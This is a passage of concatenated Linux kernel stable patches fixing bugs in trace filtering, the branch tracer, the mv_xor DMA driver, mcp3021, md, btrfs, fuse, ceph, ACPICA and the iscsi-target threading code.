}, { "PIONEER DVD-RW DVR-216D", NULL, ATA_HORKAGE_NOSETXFER }, + /* devices that don't properly handle TRIM commands */ + { "SuperSSpeed S238*", NULL, ATA_HORKAGE_NOTRIM, }, + /* * Some WD SATA-I drives spin up and down erratically when the link * is put into the slumber mode. We don't have full list of the -- cgit v1.2.3 From c8b9a1fbd1fc6cdf1def415dc70e90d6a929a960 Mon Sep 17 00:00:00 2001 From: "Steven Rostedt (Red Hat)" Date: Thu, 25 Jun 2015 18:02:29 -0400 Subject: tracing/filter: Do not WARN on operand count going below zero commit b4875bbe7e68f139bd3383828ae8e994a0df6d28 upstream. When testing the fix for the trace filter, I could not come up with a scenario where the operand count goes below zero, so I added a WARN_ON_ONCE(cnt < 0) to the logic. But there is legitimate case that it can happen (although the filter would be wrong). # echo '>' > /sys/kernel/debug/events/ext4/ext4_truncate_exit/filter That is, a single operation without any operands will hit the path where the WARN_ON_ONCE() can trigger. Although this is harmless, and the filter is reported as a error. But instead of spitting out a warning to the kernel dmesg, just fail nicely and report it via the proper channels. Link: http://lkml.kernel.org/r/558C6082.90608@oracle.com Reported-by: Vince Weaver Reported-by: Sasha Levin Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman --- kernel/trace/trace_events_filter.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/kernel/trace/trace_events_filter.c b/kernel/trace/trace_events_filter.c index fe3e086d38e9..1c08866779f2 100644 --- a/kernel/trace/trace_events_filter.c +++ b/kernel/trace/trace_events_filter.c @@ -1342,7 +1342,9 @@ static int check_preds(struct filter_parse_state *ps) continue; } n_normal_preds++; - WARN_ON_ONCE(cnt < 0); + /* all ops should have operands */ + if (cnt < 0) + break; } if (cnt != 1 || !n_normal_preds || n_logical_preds >= n_normal_preds) { -- cgit v1.2.3 From 3f6ba7f88df0e94587a4b93319656d9ee2e5e203 Mon Sep 17 00:00:00 2001 From: "Steven Rostedt (Red Hat)" Date: Thu, 25 Jun 2015 18:10:09 -0400 Subject: tracing/filter: Do not allow infix to exceed end of string commit 6b88f44e161b9ee2a803e5b2b1fbcf4e20e8b980 upstream. While debugging a WARN_ON() for filtering, I found that it is possible for the filter string to be referenced after its end. With the filter: # echo '>' > /sys/kernel/debug/events/ext4/ext4_truncate_exit/filter The filter_parse() function can call infix_get_op() which calls infix_advance() that updates the infix filter pointers for the cnt and tail without checking if the filter is already at the end, which will put the cnt to zero and the tail beyond the end. The loop then calls infix_next() that has ps->infix.cnt--; return ps->infix.string[ps->infix.tail++]; The cnt will now be below zero, and the tail that is returned is already passed the end of the filter string. So far the allocation of the filter string usually has some buffer that is zeroed out, but if the filter string is of the exact size of the allocated buffer there's no guarantee that the charater after the nul terminating character will be zero. Luckily, only root can write to the filter. Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman --- kernel/trace/trace_events_filter.c | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/kernel/trace/trace_events_filter.c b/kernel/trace/trace_events_filter.c index 1c08866779f2..67654bb5bc2f 100644 --- a/kernel/trace/trace_events_filter.c +++ b/kernel/trace/trace_events_filter.c @@ -1015,6 +1015,9 @@ static void parse_init(struct filter_parse_state *ps, static char infix_next(struct filter_parse_state *ps) { + if (!ps->infix.cnt) + return 0; + ps->infix.cnt--; return ps->infix.string[ps->infix.tail++]; @@ -1030,6 +1033,9 @@ static char infix_peek(struct filter_parse_state *ps) static void infix_advance(struct filter_parse_state *ps) { + if (!ps->infix.cnt) + return; + ps->infix.cnt--; ps->infix.tail++; } -- cgit v1.2.3 From f1bb13070802869da9e5c993a86d905c41f1ec28 Mon Sep 17 00:00:00 2001 From: "Steven Rostedt (Red Hat)" Date: Tue, 7 Jul 2015 15:05:03 -0400 Subject: tracing: Have branch tracer use recursive field of task struct commit 6224beb12e190ff11f3c7d4bf50cb2922878f600 upstream. Fengguang Wu's tests triggered a bug in the branch tracer's start up test when CONFIG_DEBUG_PREEMPT set. This was because that config adds some debug logic in the per cpu field, which calls back into the branch tracer. The branch tracer has its own recursive checks, but uses a per cpu variable to implement it. If retrieving the per cpu variable calls back into the branch tracer, you can see how things will break. Instead of using a per cpu variable, use the trace_recursion field of the current task struct. Simply set a bit when entering the branch tracing and clear it when leaving. If the bit is set on entry, just don't do the tracing. There's also the case with lockdep, as the local_irq_save() called before the recursion can also trigger code that can call back into the function. Changing that to a raw_local_irq_save() will protect that as well. This prevents the recursion and the inevitable crash that follows. Link: http://lkml.kernel.org/r/20150630141803.GA28071@wfg-t540p.sh.intel.com Reported-by: Fengguang Wu Tested-by: Fengguang Wu Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman --- kernel/trace/trace.h | 1 + kernel/trace/trace_branch.c | 17 ++++++++++------- 2 files changed, 11 insertions(+), 7 deletions(-) diff --git a/kernel/trace/trace.h b/kernel/trace/trace.h index aa0e736b72ac..fe576073580a 100644 --- a/kernel/trace/trace.h +++ b/kernel/trace/trace.h @@ -428,6 +428,7 @@ enum { TRACE_CONTROL_BIT, + TRACE_BRANCH_BIT, /* * Abuse of the trace_recursion. * As we need a way to maintain state if we are tracing the function diff --git a/kernel/trace/trace_branch.c b/kernel/trace/trace_branch.c index d594da0dc03c..cb89197adf5c 100644 --- a/kernel/trace/trace_branch.c +++ b/kernel/trace/trace_branch.c @@ -37,9 +37,12 @@ probe_likely_condition(struct ftrace_branch_data *f, int val, int expect) struct trace_branch *entry; struct ring_buffer *buffer; unsigned long flags; - int cpu, pc; + int pc; const char *p; + if (current->trace_recursion & TRACE_BRANCH_BIT) + return; + /* * I would love to save just the ftrace_likely_data pointer, but * this code can also be used by modules. Ugly things can happen @@ -50,10 +53,10 @@ probe_likely_condition(struct ftrace_branch_data *f, int val, int expect) if (unlikely(!tr)) return; - local_irq_save(flags); - cpu = raw_smp_processor_id(); - data = per_cpu_ptr(tr->trace_buffer.data, cpu); - if (atomic_inc_return(&data->disabled) != 1) + raw_local_irq_save(flags); + current->trace_recursion |= TRACE_BRANCH_BIT; + data = this_cpu_ptr(tr->trace_buffer.data); + if (atomic_read(&data->disabled)) goto out; pc = preempt_count(); @@ -82,8 +85,8 @@ probe_likely_condition(struct ftrace_branch_data *f, int val, int expect) __buffer_unlock_commit(buffer, event); out: - atomic_dec(&data->disabled); - local_irq_restore(flags); + current->trace_recursion &= ~TRACE_BRANCH_BIT; + raw_local_irq_restore(flags); } static inline -- cgit v1.2.3 From 42f77f15b1fdab86d7d968232776eba3e9b4e135 Mon Sep 17 00:00:00 2001 From: Lior Amsalem Date: Tue, 26 May 2015 15:07:32 +0200 Subject: dmaengine: mv_xor: bug fix for racing condition in descriptors cleanup commit 9136291f1dbc1d4d1cacd2840fb35f4f3ce16c46 upstream. This patch fixes a bug in the XOR driver where the cleanup function can be called and free descriptors that never been processed by the engine (which result in data errors). The cleanup function will free descriptors based on the ownership bit in the descriptors. Fixes: ff7b04796d98 ("dmaengine: DMA engine driver for Marvell XOR engine") Signed-off-by: Lior Amsalem Signed-off-by: Maxime Ripard Reviewed-by: Ofer Heifetz Signed-off-by: Vinod Koul Signed-off-by: Greg Kroah-Hartman --- drivers/dma/mv_xor.c | 72 +++++++++++++++++++++++++++++++++------------------- drivers/dma/mv_xor.h | 1 + 2 files changed, 47 insertions(+), 26 deletions(-) diff --git a/drivers/dma/mv_xor.c b/drivers/dma/mv_xor.c index d64ae14f2706..43092c317897 100644 --- a/drivers/dma/mv_xor.c +++ b/drivers/dma/mv_xor.c @@ -393,7 +393,8 @@ static void __mv_xor_slot_cleanup(struct mv_xor_chan *mv_chan) dma_cookie_t cookie = 0; int busy = mv_chan_is_busy(mv_chan); u32 current_desc = mv_chan_get_current_desc(mv_chan); - int seen_current = 0; + int current_cleaned = 0; + struct mv_xor_desc *hw_desc; dev_dbg(mv_chan_to_devp(mv_chan), "%s %d\n", __func__, __LINE__); dev_dbg(mv_chan_to_devp(mv_chan), "current_desc %x\n", current_desc); @@ -405,38 +406,57 @@ static void __mv_xor_slot_cleanup(struct mv_xor_chan *mv_chan) list_for_each_entry_safe(iter, _iter, &mv_chan->chain, chain_node) { - prefetch(_iter); - prefetch(&_iter->async_tx); - /* do not advance past the current descriptor loaded into the - * hardware channel, subsequent descriptors are either in - * process or have not been submitted - */ - if (seen_current) - break; + /* clean finished descriptors */ + hw_desc = iter->hw_desc; + if (hw_desc->status & XOR_DESC_SUCCESS) { + cookie = mv_xor_run_tx_complete_actions(iter, mv_chan, + cookie); - /* stop the search if we reach the current descriptor and the - * channel is busy - */ - if (iter->async_tx.phys == current_desc) { - seen_current = 1; - if (busy) + /* done processing desc, clean slot */ + mv_xor_clean_slot(iter, mv_chan); + + /* break if we did cleaned the current */ + if (iter->async_tx.phys == current_desc) { + current_cleaned = 1; + break; + } + } else { + if (iter->async_tx.phys == current_desc) { + current_cleaned = 0; break; + } } - - cookie = mv_xor_run_tx_complete_actions(iter, mv_chan, cookie); - - if (mv_xor_clean_slot(iter, mv_chan)) - break; } if ((busy == 0) && !list_empty(&mv_chan->chain)) { - struct mv_xor_desc_slot *chain_head; - chain_head = list_entry(mv_chan->chain.next, - struct mv_xor_desc_slot, - chain_node); - - mv_xor_start_new_chain(mv_chan, chain_head); + if (current_cleaned) { + /* + * current descriptor cleaned and removed, run + * from list head + */ + iter = list_entry(mv_chan->chain.next, + struct mv_xor_desc_slot, + chain_node); + mv_xor_start_new_chain(mv_chan, iter); + } else { + if (!list_is_last(&iter->chain_node, &mv_chan->chain)) { + /* + * descriptors are still waiting after + * current, trigger them + */ + iter = list_entry(iter->chain_node.next, + struct mv_xor_desc_slot, + chain_node); + mv_xor_start_new_chain(mv_chan, iter); + } else { + /* + * some descriptors are still waiting + * to be cleaned + */ + tasklet_schedule(&mv_chan->irq_tasklet); + } + } } if (cookie > 0) diff --git a/drivers/dma/mv_xor.h b/drivers/dma/mv_xor.h index c632a4761fcf..e003851cd4e5 100644 --- a/drivers/dma/mv_xor.h +++ b/drivers/dma/mv_xor.h @@ -32,6 +32,7 @@ #define XOR_OPERATION_MODE_XOR 0 #define XOR_OPERATION_MODE_MEMCPY 2 #define XOR_OPERATION_MODE_MEMSET 4 +#define XOR_DESC_SUCCESS 0x40000000 #define XOR_CURR_DESC(chan) (chan->mmr_base + 0x210 + (chan->idx * 4)) #define XOR_NEXT_DESC(chan) (chan->mmr_base + 0x200 + (chan->idx * 4)) -- cgit v1.2.3 From ec573efa13d9e957199f008c12d39d54ab3f61d1 Mon Sep 17 00:00:00 2001 From: "Stevens, Nick" Date: Wed, 1 Jul 2015 16:07:41 +0000 Subject: hwmon: (mcp3021) Fix broken output scaling commit 347d7e45bd09ce09cbc30d5cea9de377eb22f55c upstream. The mcp3021 scaling code is dividing the VDD (full-scale) value in millivolts by the A2D resolution to obtain the scaling factor. When VDD is 3300mV (the standard value) and the resolution is 12-bit (4096 divisions), the result is a scale factor of 3300/4096, which is always one. Effectively, the raw A2D reading is always being returned because no scaling is applied. This patch fixes the issue and simplifies the register-to-volts calculation, removing the unneeded "output_scale" struct member. Signed-off-by: Nick Stevens [Guenter Roeck: Dropped unnecessary value check] Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman --- drivers/hwmon/mcp3021.c | 14 +------------- 1 file changed, 1 insertion(+), 13 deletions(-) diff --git a/drivers/hwmon/mcp3021.c b/drivers/hwmon/mcp3021.c index eedb32292d6d..f712cc785ef2 100644 --- a/drivers/hwmon/mcp3021.c +++ b/drivers/hwmon/mcp3021.c @@ -31,14 +31,11 @@ /* output format */ #define MCP3021_SAR_SHIFT 2 #define MCP3021_SAR_MASK 0x3ff - #define MCP3021_OUTPUT_RES 10 /* 10-bit resolution */ -#define MCP3021_OUTPUT_SCALE 4 #define MCP3221_SAR_SHIFT 0 #define MCP3221_SAR_MASK 0xfff #define MCP3221_OUTPUT_RES 12 /* 12-bit resolution */ -#define MCP3221_OUTPUT_SCALE 1 enum chips { mcp3021, @@ -54,7 +51,6 @@ struct mcp3021_data { u16 sar_shift; u16 sar_mask; u8 output_res; - u8 output_scale; }; static int mcp3021_read16(struct i2c_client *client) @@ -84,13 +80,7 @@ static int mcp3021_read16(struct i2c_client *client) static inline u16 volts_from_reg(struct mcp3021_data *data, u16 val) { - if (val == 0) - return 0; - - val = val * data->output_scale - data->output_scale / 2; - - return val * DIV_ROUND_CLOSEST(data->vdd, - (1 << data->output_res) * data->output_scale); + return DIV_ROUND_CLOSEST(data->vdd * val, 1 << data->output_res); } static ssize_t show_in_input(struct device *dev, struct device_attribute *attr, @@ -132,14 +122,12 @@ static int mcp3021_probe(struct i2c_client *client, data->sar_shift = MCP3021_SAR_SHIFT; data->sar_mask = MCP3021_SAR_MASK; data->output_res = MCP3021_OUTPUT_RES; - data->output_scale = MCP3021_OUTPUT_SCALE; break; case mcp3221: data->sar_shift = MCP3221_SAR_SHIFT; data->sar_mask = MCP3221_SAR_MASK; data->output_res = MCP3221_OUTPUT_RES; - data->output_scale = MCP3221_OUTPUT_SCALE; break; } -- cgit v1.2.3 From 882d00c103f84e5beb8108216cedec0fab26e703 Mon Sep 17 00:00:00 2001 From: Firo Yang Date: Thu, 11 Jun 2015 09:41:10 +0800 Subject: md: fix a build warning commit 4e023612325a9034a542bfab79f78b1fe5ebb841 upstream. Warning like this: drivers/md/md.c: In function "update_array_info": drivers/md/md.c:6394:26: warning: logical not is only applied to the left hand side of comparison [-Wlogical-not-parentheses] !mddev->persistent != info->not_persistent|| Fix it as Neil Brown said: mddev->persistent != !info->not_persistent || Signed-off-by: Firo Yang Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman --- drivers/md/md.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/md/md.c b/drivers/md/md.c index aaf77b07bb72..631fe3e9c6e5 100644 --- a/drivers/md/md.c +++ b/drivers/md/md.c @@ -6221,7 +6221,7 @@ static int update_array_info(struct mddev *mddev, mdu_array_info_t *info) mddev->ctime != info->ctime || mddev->level != info->level || /* mddev->layout != info->layout || */ - !mddev->persistent != info->not_persistent|| + mddev->persistent != !info->not_persistent || mddev->chunk_sectors != info->chunk_size >> 9 || /* ignore bottom 8 bits of state, and allow SB_BITMAP_PRESENT to change */ ((state^info->state) & 0xfffffe00) -- cgit v1.2.3 From 9c902bd02dbd2cfabbd01560e76f1217e528189e Mon Sep 17 00:00:00 2001 From: Filipe Manana Date: Sat, 13 Jun 2015 06:52:56 +0100 Subject: Btrfs: use kmem_cache_free when freeing entry in inode cache commit c3f4a1685bb87e59c886ee68f7967eae07d4dffa upstream. The free space entries are allocated using kmem_cache_zalloc(), through __btrfs_add_free_space(), therefore we should use kmem_cache_free() and not kfree() to avoid any confusion and any potential problem. Looking at the kfree() definition at mm/slab.c it has the following comment: /* * (...) * * Don't free memory not originally allocated by kmalloc() * or you will run into trouble. */ So better be safe and use kmem_cache_free(). Signed-off-by: Filipe Manana Reviewed-by: David Sterba Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman --- fs/btrfs/inode-map.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/btrfs/inode-map.c b/fs/btrfs/inode-map.c index 2c66ddbbe670..0389e90eec33 100644 --- a/fs/btrfs/inode-map.c +++ b/fs/btrfs/inode-map.c @@ -283,7 +283,7 @@ void btrfs_unpin_free_ino(struct btrfs_root *root) __btrfs_add_free_space(ctl, info->offset, count); free: rb_erase(&info->offset_index, rbroot); - kfree(info); + kmem_cache_free(btrfs_free_space_cachep, info); } } -- cgit v1.2.3 From cc522c517a2ecc04cf2acbb3ce4be95fb9dd9b3a Mon Sep 17 00:00:00 2001 From: Miklos Szeredi Date: Wed, 1 Jul 2015 16:25:55 +0200 Subject: fuse: initialize fc->release before calling it commit 0ad0b3255a08020eaf50e34ef0d6df5bdf5e09ed upstream. fc->release is called from fuse_conn_put() which was used in the error cleanup before fc->release was initialized. [Jeremiah Mahler : assign fc->release after calling fuse_conn_init(fc) instead of before.] Signed-off-by: Miklos Szeredi Fixes: a325f9b92273 ("fuse: update fuse_conn_init() and separate out fuse_conn_kill()") Signed-off-by: Greg Kroah-Hartman --- fs/fuse/inode.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/fuse/inode.c b/fs/fuse/inode.c index 39a986e1da9e..4d371f3b9a45 100644 --- a/fs/fuse/inode.c +++ b/fs/fuse/inode.c @@ -1028,6 +1028,7 @@ static int fuse_fill_super(struct super_block *sb, void *data, int silent) goto err_fput; fuse_conn_init(fc); + fc->release = fuse_free_conn; fc->dev = sb->s_dev; fc->sb = sb; @@ -1042,7 +1043,6 @@ static int fuse_fill_super(struct super_block *sb, void *data, int silent) fc->dont_mask = 1; sb->s_flags |= MS_POSIXACL; - fc->release = fuse_free_conn; fc->flags = d.flags; fc->user_id = d.user_id; fc->group_id = d.group_id; -- cgit v1.2.3 From 7546f8cb2dff62ad20c50bf3d6170ad8dadb9cc8 Mon Sep 17 00:00:00 2001 From: Ilya Dryomov Date: Mon, 29 Jun 2015 19:30:23 +0300 Subject: crush: fix a bug in tree bucket decode commit 82cd003a77173c91b9acad8033fb7931dac8d751 upstream. struct crush_bucket_tree::num_nodes is u8, so ceph_decode_8_safe() should be used. -Wconversion catches this, but I guess it went unnoticed in all the noise it spews. The actual problem (at least for common crushmaps) isn't the u32 -> u8 truncation though - it's the advancement by 4 bytes instead of 1 in the crushmap buffer. Fixes: http://tracker.ceph.com/issues/2759 Signed-off-by: Ilya Dryomov Reviewed-by: Josh Durgin Signed-off-by: Greg Kroah-Hartman --- net/ceph/osdmap.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/net/ceph/osdmap.c b/net/ceph/osdmap.c index dbd9a4792427..7ec4e0522215 100644 --- a/net/ceph/osdmap.c +++ b/net/ceph/osdmap.c @@ -89,7 +89,7 @@ static int crush_decode_tree_bucket(void **p, void *end, { int j; dout("crush_decode_tree_bucket %p to %p\n", *p, end); - ceph_decode_32_safe(p, end, b->num_nodes, bad); + ceph_decode_8_safe(p, end, b->num_nodes, bad); b->node_weights = kcalloc(b->num_nodes, sizeof(u32), GFP_NOFS); if (b->node_weights == NULL) return -ENOMEM; -- cgit v1.2.3 From a73aa5b5c7fff1778c5649c85b1b41d086c0d539 Mon Sep 17 00:00:00 2001 From: Lv Zheng Date: Wed, 1 Jul 2015 14:43:26 +0800 Subject: ACPICA: Tables: Fix an issue that FACS initialization is performed twice commit c04be18448355441a0c424362df65b6422e27bda upstream. ACPICA commit 90f5332a15e9d9ba83831ca700b2b9f708274658 This patch adds a new FACS initialization flag for acpi_tb_initialize(). acpi_enable_subsystem() might be invoked several times in OS bootup process, and we don't want FACS initialization to be invoked twice. Lv Zheng. Link: https://github.com/acpica/acpica/commit/90f5332a Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman --- drivers/acpi/acpica/utxfinit.c | 10 ++++++---- include/acpi/actypes.h | 1 + 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/drivers/acpi/acpica/utxfinit.c b/drivers/acpi/acpica/utxfinit.c index 41ebaaf8bb1a..ee58a62443bd 100644 --- a/drivers/acpi/acpica/utxfinit.c +++ b/drivers/acpi/acpica/utxfinit.c @@ -165,10 +165,12 @@ acpi_status acpi_enable_subsystem(u32 flags) * Obtain a permanent mapping for the FACS. This is required for the * Global Lock and the Firmware Waking Vector */ - status = acpi_tb_initialize_facs(); - if (ACPI_FAILURE(status)) { - ACPI_WARNING((AE_INFO, "Could not map the FACS table")); - return_ACPI_STATUS(status); + if (!(flags & ACPI_NO_FACS_INIT)) { + status = acpi_tb_initialize_facs(); + if (ACPI_FAILURE(status)) { + ACPI_WARNING((AE_INFO, "Could not map the FACS table")); + return_ACPI_STATUS(status); + } } #endif /* !ACPI_REDUCED_HARDWARE */ diff --git a/include/acpi/actypes.h b/include/acpi/actypes.h index f819e813c8ac..4407354c7d6a 100644 --- a/include/acpi/actypes.h +++ b/include/acpi/actypes.h @@ -511,6 +511,7 @@ typedef u64 acpi_integer; #define ACPI_NO_ACPI_ENABLE 0x10 #define ACPI_NO_DEVICE_INIT 0x20 #define ACPI_NO_OBJECT_INIT 0x40 +#define ACPI_NO_FACS_INIT 0x80 /* * Initialization state -- cgit v1.2.3 From 49b028d31aedc00f179c883e87f1b4f2cf55923b Mon Sep 17 00:00:00 2001 From: Nicholas Bellinger Date: Thu, 26 Feb 2015 22:19:15 -0800 Subject: iscsi-target: Convert iscsi_thread_set usage to kthread.h commit 88dcd2dab5c23b1c9cfc396246d8f476c872f0ca upstream. This patch converts iscsi-target code to use modern kthread.h API callers for creating RX/TX threads for each new iscsi_conn descriptor, and releasing associated RX/TX threads during connection shutdown. This is done using iscsit_start_kthreads() -> kthread_run() to start new kthreads from within iscsi_post_login_handler(), and invoking kthread_stop() from existing iscsit_close_connection() code. Also, convert iscsit_logout_post_handler_closesession() code to use cmpxchg when determing when iscsit_cause_connection_reinstatement() needs to sleep waiting for completion. Reported-by: Sagi Grimberg Tested-by: Sagi Grimberg Cc: Slava Shwartsman Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman --- drivers/target/iscsi/iscsi_target.c | 104 +++++++++++++----------------- drivers/target/iscsi/iscsi_target_core.h | 7 ++ drivers/target/iscsi/iscsi_target_erl0.c | 13 ++-- drivers/target/iscsi/iscsi_target_login.c | 61 ++++++++++++++++-- 4 files changed, 115 insertions(+), 70 deletions(-) diff --git a/drivers/target/iscsi/iscsi_target.c b/drivers/target/iscsi/iscsi_target.c index 5a3ea20e9cb5..3c293ad6ae70 100644 --- a/drivers/target/iscsi/iscsi_target.c +++ b/drivers/target/iscsi/iscsi_target.c @@ -518,7 +518,7 @@ static struct iscsit_transport iscsi_target_transport = { static int __init iscsi_target_init_module(void) { - int ret = 0; + int ret = 0, size; pr_debug("iSCSI-Target "ISCSIT_VERSION"\n"); @@ -527,6 +527,7 @@ static int __init iscsi_target_init_module(void) pr_err("Unable to allocate memory for iscsit_global\n"); return -1; } + spin_lock_init(&iscsit_global->ts_bitmap_lock); mutex_init(&auth_id_lock); spin_lock_init(&sess_idr_lock); idr_init(&tiqn_idr); @@ -536,15 +537,11 @@ static int __init iscsi_target_init_module(void) if (ret < 0) goto out; - ret = iscsi_thread_set_init(); - if (ret < 0) + size = BITS_TO_LONGS(ISCSIT_BITMAP_BITS) * sizeof(long); + iscsit_global->ts_bitmap = vzalloc(size); + if (!iscsit_global->ts_bitmap) { + pr_err("Unable to allocate iscsit_global->ts_bitmap\n"); goto configfs_out; - - if (iscsi_allocate_thread_sets(TARGET_THREAD_SET_COUNT) != - TARGET_THREAD_SET_COUNT) { - pr_err("iscsi_allocate_thread_sets() returned" - " unexpected value!\n"); - goto ts_out1; } lio_cmd_cache = kmem_cache_create("lio_cmd_cache", @@ -553,7 +550,7 @@ static int __init iscsi_target_init_module(void) if (!lio_cmd_cache) { pr_err("Unable to kmem_cache_create() for" " lio_cmd_cache\n"); - goto ts_out2; + goto bitmap_out; } lio_qr_cache = kmem_cache_create("lio_qr_cache", @@ -608,10 +605,8 @@ qr_out: kmem_cache_destroy(lio_qr_cache); cmd_out: kmem_cache_destroy(lio_cmd_cache); -ts_out2: - iscsi_deallocate_thread_sets(); -ts_out1: - iscsi_thread_set_free(); +bitmap_out: + vfree(iscsit_global->ts_bitmap); configfs_out: iscsi_target_deregister_configfs(); out: @@ -621,8 +616,6 @@ out: static void __exit iscsi_target_cleanup_module(void) { - iscsi_deallocate_thread_sets(); - iscsi_thread_set_free(); iscsit_release_discovery_tpg(); iscsit_unregister_transport(&iscsi_target_transport); kmem_cache_destroy(lio_cmd_cache); @@ -633,6 +626,7 @@ static void __exit iscsi_target_cleanup_module(void) iscsi_target_deregister_configfs(); + vfree(iscsit_global->ts_bitmap); kfree(iscsit_global); } @@ -3590,17 +3584,16 @@ static int iscsit_send_reject( void iscsit_thread_get_cpumask(struct iscsi_conn *conn) { - struct iscsi_thread_set *ts = conn->thread_set; int ord, cpu; /* - * thread_id is assigned from iscsit_global->ts_bitmap from - * within iscsi_thread_set.c:iscsi_allocate_thread_sets() + * bitmap_id is assigned from iscsit_global->ts_bitmap from + * within iscsit_start_kthreads() * - * Here we use thread_id to determine which CPU that this - * iSCSI connection's iscsi_thread_set will be scheduled to + * Here we use bitmap_id to determine which CPU that this + * iSCSI connection's RX/TX threads will be scheduled to * execute upon. */ - ord = ts->thread_id % cpumask_weight(cpu_online_mask); + ord = conn->bitmap_id % cpumask_weight(cpu_online_mask); for_each_online_cpu(cpu) { if (ord-- == 0) { cpumask_set_cpu(cpu, conn->conn_cpumask); @@ -3792,7 +3785,7 @@ check_rsp_state: switch (state) { case ISTATE_SEND_LOGOUTRSP: if (!iscsit_logout_post_handler(cmd, conn)) - goto restart; + return -ECONNRESET; /* fall through */ case ISTATE_SEND_STATUS: case ISTATE_SEND_ASYNCMSG: @@ -3820,8 +3813,6 @@ check_rsp_state: err: return -1; -restart: - return -EAGAIN; } static int iscsit_handle_response_queue(struct iscsi_conn *conn) @@ -3848,21 +3839,13 @@ static int iscsit_handle_response_queue(struct iscsi_conn *conn) int iscsi_target_tx_thread(void *arg) { int ret = 0; - struct iscsi_conn *conn; - struct iscsi_thread_set *ts = arg; + struct iscsi_conn *conn = arg; /* * Allow ourselves to be interrupted by SIGINT so that a * connection recovery / failure event can be triggered externally. */ allow_signal(SIGINT); -restart: - conn = iscsi_tx_thread_pre_handler(ts); - if (!conn) - goto out; - - ret = 0; - while (!kthread_should_stop()) { /* * Ensure that both TX and RX per connection kthreads @@ -3871,11 +3854,9 @@ restart: iscsit_thread_check_cpumask(conn, current, 1); wait_event_interruptible(conn->queues_wq, - !iscsit_conn_all_queues_empty(conn) || - ts->status == ISCSI_THREAD_SET_RESET); + !iscsit_conn_all_queues_empty(conn)); - if ((ts->status == ISCSI_THREAD_SET_RESET) || - signal_pending(current)) + if (signal_pending(current)) goto transport_err; get_immediate: @@ -3886,15 +3867,14 @@ get_immediate: ret = iscsit_handle_response_queue(conn); if (ret == 1) goto get_immediate; - else if (ret == -EAGAIN) - goto restart; + else if (ret == -ECONNRESET) + goto out; else if (ret < 0) goto transport_err; } transport_err: iscsit_take_action_for_connection_exit(conn); - goto restart; out: return 0; } @@ -3979,8 +3959,7 @@ int iscsi_target_rx_thread(void *arg) int ret; u8 buffer[ISCSI_HDR_LEN], opcode; u32 checksum = 0, digest = 0; - struct iscsi_conn *conn = NULL; - struct iscsi_thread_set *ts = arg; + struct iscsi_conn *conn = arg; struct kvec iov; /* * Allow ourselves to be interrupted by SIGINT so that a @@ -3988,11 +3967,6 @@ int iscsi_target_rx_thread(void *arg) */ allow_signal(SIGINT); -restart: - conn = iscsi_rx_thread_pre_handler(ts); - if (!conn) - goto out; - if (conn->conn_transport->transport_type == ISCSI_INFINIBAND) { struct completion comp; int rc; @@ -4002,7 +3976,7 @@ restart: if (rc < 0) goto transport_err; - goto out; + goto transport_err; } while (!kthread_should_stop()) { @@ -4085,8 +4059,6 @@ transport_err: if (!signal_pending(current)) atomic_set(&conn->transport_failed, 1); iscsit_take_action_for_connection_exit(conn); - goto restart; -out: return 0; } @@ -4148,7 +4120,24 @@ int iscsit_close_connection( if (conn->conn_transport->transport_type == ISCSI_TCP) complete(&conn->conn_logout_comp); - iscsi_release_thread_set(conn); + if (!strcmp(current->comm, ISCSI_RX_THREAD_NAME)) { + if (conn->tx_thread && + cmpxchg(&conn->tx_thread_active, true, false)) { + send_sig(SIGINT, conn->tx_thread, 1); + kthread_stop(conn->tx_thread); + } + } else if (!strcmp(current->comm, ISCSI_TX_THREAD_NAME)) { + if (conn->rx_thread && + cmpxchg(&conn->rx_thread_active, true, false)) { + send_sig(SIGINT, conn->rx_thread, 1); + kthread_stop(conn->rx_thread); + } + } + + spin_lock(&iscsit_global->ts_bitmap_lock); + bitmap_release_region(iscsit_global->ts_bitmap, conn->bitmap_id, + get_order(1)); + spin_unlock(&iscsit_global->ts_bitmap_lock); iscsit_stop_timers_for_cmds(conn); iscsit_stop_nopin_response_timer(conn); @@ -4427,15 +4416,13 @@ static void iscsit_logout_post_handler_closesession( struct iscsi_conn *conn) { struct iscsi_session *sess = conn->sess; - - iscsi_set_thread_clear(conn, ISCSI_CLEAR_TX_THREAD); - iscsi_set_thread_set_signal(conn, ISCSI_SIGNAL_TX_THREAD); + int sleep = cmpxchg(&conn->tx_thread_active, true, false); atomic_set(&conn->conn_logout_remove, 0); complete(&conn->conn_logout_comp); iscsit_dec_conn_usage_count(conn); - iscsit_stop_session(sess, 1, 1); + iscsit_stop_session(sess, sleep, sleep); iscsit_dec_session_usage_count(sess); target_put_session(sess->se_sess); } @@ -4443,13 +4430,12 @@ static void iscsit_logout_post_handler_closesession( static void iscsit_logout_post_handler_samecid( struct iscsi_conn *conn) { - iscsi_set_thread_clear(conn, ISCSI_CLEAR_TX_THREAD); - iscsi_set_thread_set_signal(conn, ISCSI_SIGNAL_TX_THREAD); + int sleep = cmpxchg(&conn->tx_thread_active, true, false); atomic_set(&conn->conn_logout_remove, 0); complete(&conn->conn_logout_comp); - iscsit_cause_connection_reinstatement(conn, 1); + iscsit_cause_connection_reinstatement(conn, sleep); iscsit_dec_conn_usage_count(conn); } diff --git a/drivers/target/iscsi/iscsi_target_core.h b/drivers/target/iscsi/iscsi_target_core.h index e117870eb445..815bf5b1a4ae 100644 --- a/drivers/target/iscsi/iscsi_target_core.h +++ b/drivers/target/iscsi/iscsi_target_core.h @@ -586,6 +586,11 @@ struct iscsi_conn { struct iscsi_session *sess; /* Pointer to thread_set in use for this conn's threads */ struct iscsi_thread_set 